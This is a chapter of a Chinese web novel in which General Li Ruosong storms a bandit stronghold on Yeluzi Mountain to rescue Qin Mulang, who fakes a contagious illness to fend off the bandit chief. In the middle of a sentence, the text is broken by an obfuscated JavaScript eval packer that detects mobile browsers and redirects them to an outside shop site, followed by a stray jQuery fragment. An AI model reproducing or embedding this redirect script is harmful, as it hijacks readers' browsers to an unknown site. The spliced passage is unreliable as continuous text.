7. 第 7 章
    秦慕琅带着遮脸的风帽跟着江宁来到宴会的军帐外,此刻里面觥筹交错,贺词不断。李若松在他们面前成了锯嘴的葫芦,只听,只笑。当江宁提着酒壶而来时,他有些吃惊。

    他怎么来了。很快这个不该来的副将便悄悄在他耳边低语几句。他往腰边一摸,果然是忘了给她。

    江宁的手已经悄悄伸来,本来李若松桌下递给他便得了。但他却看向帐外,她在外面吗?帐外的风吹起,帐帘被掀一条口子,黄沙漫天间一抹白纱飘飘荡荡。

    是她吗?那个他再也见不到的人。

    他知道,他不能离席,他是今日的正主。但那风还是勾起了他的魂魄。

    他起身狠狠踢了一脚江宁,骂道:“不中用的东西,这点事情也办不好。”

    席间众人被这一幕惊呆了,个个纷纷站起,他们刚想开口劝,却见李若松朝他们一揖道:“各位大人对不住,送家里的东西他居然给漏了。”

    李若松知道这离席的理由不够,又朝江宁踢了一脚,“这点事情都办不好,还得我亲自去,你还能干什么?”

    宴席上的人一听主位要走,多少有些失意。只有一位算是看的通透的,道:“将军真是孝子,不知老将军身体还好吗?记挂着家里是应该的,我们在这等着将军,将军快去快回。”

    李若松一听如获大赦。提着江宁冲了出去。

    他看的没看错,是她。风帽虽遮住了她的脸,但那瘦弱孤傲的身子却远远立在那里。

    他冲过去,想再看看她,她却低头退了几步,“叨扰将军了。”

    他努力的透过风帽去看她的脸,却只看到点点泪珠,让他定在原地,心痛不已。

    他把刀抽了出来,递了过去。

    她走近了些,伸出了手。但她却在即将摸到刀身的一刹那,反手一打。那刀虽被她这一打,飞了出去,落在了远处的地上。

    一人赶来,那刀正好在他脚边。他笑吟吟的把刀拾起,仔细端看,赞了句“好刀”。便急急的拿着刀走过来了。

    此人正是刚刚宴席上善解人意的王大人,他色眯眯的笑着说:“难怪李将军走的急呢,原来是会佳人人来了。”

    他把刀递给心满意足的牧云格,意味深长的道:“小姑娘,这可不是一把寻常的刀哦,你可好好收好。”

    牧云格抬眼朝李若松诡谲一笑,她是故意的。

    ……

    送走秦慕琅的第二日,李若松的大军也启程回辽阳了。

    一路上,李若松一言不发,气氛十分凝重。

    环儿猜他是想秦姑娘了,大气都不敢出。

    可江宁哪里受不了了,打破气氛道:“唉,其实秦姑娘走了也好,若真带她回辽阳,夫人那关,还不知道怎么办呢?”

    这话一出,李若松只是叹了口气,一句回应都没有。只有旁边的环儿一直挤眉弄眼使眼色。

    感觉环儿都快使的眼睛抽抽了,江宁依然没懂,继续道:“秦姑娘那把刀,似乎哪里见过。我看她有些故意扔给王大人的。”

    这话说完,环儿叹了口气,觉得江宁完了。

    李若松犹如被人刺了一刀,这他自然想的到,但他不怪她。比起他对她的伤害,这点小膈应,他不觉得什么。只是那王大人是有名的笑面虎,上次便因为和他同位而坐,表面没说什么,背后居然参他骄横自大。

    苦寻多日的蒙古王女不得,如今却在他面前现出她的宝刀,这答案呼之欲出。

    想到此,他长长舒了口气,【还好她走了,否则定会被人发现。他还不一定能保下她。】

    想到此,他舒了口气,问:“到哪里了?”

    环儿见主人居然没有生气,抢着答道:“到野路子山了。”

    李若松一听,这名字,眉头皱起,明显不喜。“这名字?”

    环儿立刻解释道:“这山上大王起的名字,一看就是没什么文化?”

    “这山上还有大王?”

    “就是土匪,人不算多,平时也就抢个民女,劫个富商什么的。地方上懒得管了。”江宁插嘴回道。

    江宁不说还好,一说李若松却慌了,冷着脸问:“她们路过这吗?”

    江宁不明白此刻李若松的慌乱,淡淡道:“应该路过吧,能走的路不多。不过她们应该比我们走的早。”

    他这话说的本无心,可听的人却变了颜色。

    “我怎么能没想到这些,江宁,快去,找五十个我们家的跟我去会会这大王。”

    江宁觉得有些小题大做:“不用了吧,他们不敢对我们下手的。”

    环儿轻轻的拉了拉他,用嘴型暗示道:“秦姑娘。”

    江宁明白了,就算秦姑娘的那个吉娜再厉害,她们也不过两个人。不正是这这野路子大王的目标吗。

    但江宁没有动,他看着已经开始翻箱倒柜找地图的李若松和已经都开始下马支架子的环儿,茫然了。

    此刻的李若松有点让他不敢认。

    李若松抬头发现他正在看戏,急的一把拍了他的马屁股,“还不快去。”

    李若松的预判没有错,早几天路过野路子山的秦慕琅和吉娜的确遇到了土匪。

    只是土匪看上了她们豪华的马车和马。立刻她们赶下来,他们见吉娜比男人还高大强壮,力气也不小,第一个pass了她。

    见到秦慕琅觉得长的还行,就是人太瘦,看着还有病色。为了自己也能被pass,秦慕琅下车特地用力的咳嗽了几声,让所有人都躲着她了。

    以秦慕琅的估算,她们当晚应该就可以趁夜逃脱了。最多不过损失一些财物和马车。

    可有人打破了她们的计划。

    李若松带着他的五十人精锐,每个人都披银甲、骑高马和手拿火铳等全套装备。可他们显然低估了敌人,忘了这里是群山,还是个他们没摸清地形的群山。

    土匪本被他们这阵仗的确吓的四散逃跑。但很快,土匪们发现这群人,真是绣花枕头。

    火铳,还不如高处扔下的石头有杀伤力。高马,爬不上崎岖的山脉。这群精锐被这群土匪戏耍于山间。

    很快这个名震天下的大明之刃便被五花大绑的请入了土匪窝的大厅。

    土匪们明显第一次见如此高级别的军官,各各翘首以盼,那大厅可谓座无虚席。

    李若松见自己被这群乡巴佬瞻仰,心中极度不适。他眼神锐利的平扫全厅,没有看到他想见的人,不免烦躁,道:“尔等宵小,竟敢捆缚本将。实话告诉你们,我的大军就在山下。不想屠灭,就把本将的女人交出来。”

    土匪呆了,原来这一国名将陷入他们这个不入流土匪窝,居然是为了女人。

    这让他们立刻自省,没劫到什么漂亮女人呀!

    突然有人想起了什么,在土匪头子耳边嘀咕道:“昨日是劫了一辆马车,就两个女的。一个壮,一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460152|141687||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    个病。但她们的很多东西都是出自军资,八成就是她们。”

    李若松以为他们怕了,神色一凛,“把我女人放了,我便既往不咎,饶你们狗命。”

    他这话一出,所有人笑了。

    这野路子山的土匪头子五段身材,精瘦猥琐,特地走到李若松面前道:“今日大将军若不来,我们还真没发现原来劫了个宝贝。今日这宝贝被将军点破了,我们岂有错过之理。来人,把那女人送我屋里去。我倒要看看李将军看上的女人是什么样子。”

    “你要敢动她一下,我定要你们全部陪葬。”,他说的青筋暴起,目眦欲裂。话虽说的狠,但人终究是被人捆绑着。那效果只能引起一阵狂笑。

    他们终还是不了解李若松,他一般冷静克制,但若盛怒,对手的下场,一定很惨。

    但很快野路子山土匪头子便领略了李若松女人的不一般。

    当秦慕琅在一众女人中被特地挑出来后,她就觉得这下完了。吉娜本想拦住,却被她按住,她摇头表示自己能应付。

    秦慕琅什么人,一个扑街小说作者,这种桥段是她见的最多了。她一边咳,一边吐,还不停的抓着自己的腿。那个领路的人都嫌弃的让她自己在前面走。

    到了土匪头子的房间,她一点不见外,为了显的自己连站都站不住了,一头便倒在床上。土匪头子自然被人报告此事,但他还是硬着头皮来到房间。

    他一进来,秦慕琅便一边咳,一边吐在床上了。恶心的土匪头子打算转头欲走。

    秦慕琅见他要走,逗他道:“大王,别走呀,奴家也不想的。”话没说完,她又咳得梨花带雨了起来。

    那土匪头子此刻已经捂住了口鼻往后退了。

    秦慕琅怎能放过他,“大王,怪奴家命苦,没有早点遇到大王。要是早点遇到大王也不会这样了。”

    那土匪头子不是个傻子,她这番略显夸张表演让他起了疑。

    “他那么宝贝你,特亲自地打上山来。怎会是你这幅样子。”他一边说,一边慢慢走近了,仔细看秦慕琅的脸。

    秦慕琅一听就知道是李若松害她如此。她向来是个——你害我,我害死你的性子。便抹着眼泪道:

    “曾经他的确把我放心尖上,可他为了向上爬,居然把我送给那脏老头子,换他的功名。

    “那脏老头子也不知道得了什么脏病,把我弄成这样。”说着她一把掀起自己的袖子和裤腿,那被她抓的血淋淋的皮肤让土匪头子头皮发麻。心想待会一定把床烧了。

    秦慕琅显然还没诉苦完,“大王,他要还把我当个人,能把我和侍女打发了吗?”

    那大王一听,倒是这个理,但又觉得不对,反驳道:“那他气势汹汹的上山寻你做甚?”

    秦慕琅一听,哭的更大声了,“大王,你救救奴家,千万别把我给他。给了他,我就没命了。他定是想怕我把他贿赂脏老头子的事说出来,这不,来杀人灭口来了。”

    说着她爬下床,一把抱住那大王的腿,哭喊道:“大王,救救奴家吧。”

    那大王嫌弃的腿一蹬,道:“滚远点,别靠我。”

    这时土匪的一小兵冲了进来,“大王,不好了。”

    他还没说怎么不好,便听“轰”的一声,地动山摇,屋顶上的瓦砾簌簌的落下。

    那个传话的小兵已经不见了,但他的话其实已经多余了,山下的明军已经火炮开道了。